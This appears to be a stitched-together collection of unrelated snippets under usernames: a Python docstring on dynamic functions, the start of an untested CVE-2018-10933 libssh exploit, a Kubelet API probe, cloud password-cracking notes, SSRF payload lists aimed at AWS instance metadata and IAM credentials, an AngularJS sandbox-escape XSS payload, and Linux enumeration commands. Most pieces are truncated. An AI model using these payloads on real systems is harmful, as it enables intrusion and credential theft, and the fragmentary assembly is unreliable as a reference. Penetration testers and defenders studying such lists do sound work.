dsuess

"""
Python is a dynamic language, and it is relatively easy to dynamically create
and modify things such as classes and objects. Functions, however, are quite
challenging to create dynamically.
One area where we might want to do this is in an RPC library, where a function
defined on a server needs to be available remotely on a client.
The naive solution is to simply pass arguments to a generic function that
accepts `*args` and `**kwargs`. A lot of information is lost with this approach,
however, in particular the number of arguments taken. Used in an RPC
implementation, this also delays any error feedback until after the arguments

mlosapio

#!/usr/bin/env python
# Based on https://www.openwall.com/lists/oss-security/2018/08/16/1
# untested CVE-2018-10933 

import sys, paramiko
import logging

username = sys.argv[1]
hostname = sys.argv[2]
command = sys.argv[3]

lizrice

Accessing Kubelet API

curl -sk https://localhost:10250/pods/

• If --anonymous-auth is turned off, you will see a 401 Unauthorized response.
• If --anonymous-auth is true and --authorization-mode is Webhook you'll see 403 Forbidden response with message Forbidden (user=system:anonymous, verb=get, resource=nodes, subresource=proxy)
• If --anonymous-auth is true and --authorization-mode is AlwaysAllow you'll see a list of pods.

7MinSec

Update 8/24/23:

I now do password cracking in the cloud using a suped up AWS rig. More details here.

---

This document is under construction, but is intended to get you up and running quickly with cracking hashes in the cloud using the Paperspace service.

Resources used for this article:

• https://samiux.blogspot.com/2017/12/howto-install-hashcat-on-ubuntu-16043.html

jhaddix

## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

mccabe615

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

BuffaloWill

## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]

## AWS 
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

sckalath

// Determine linux distribution and version
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

// Determine kernel version - 32 or 64-bit?
cat /proc/version
uname -a
uname -mrs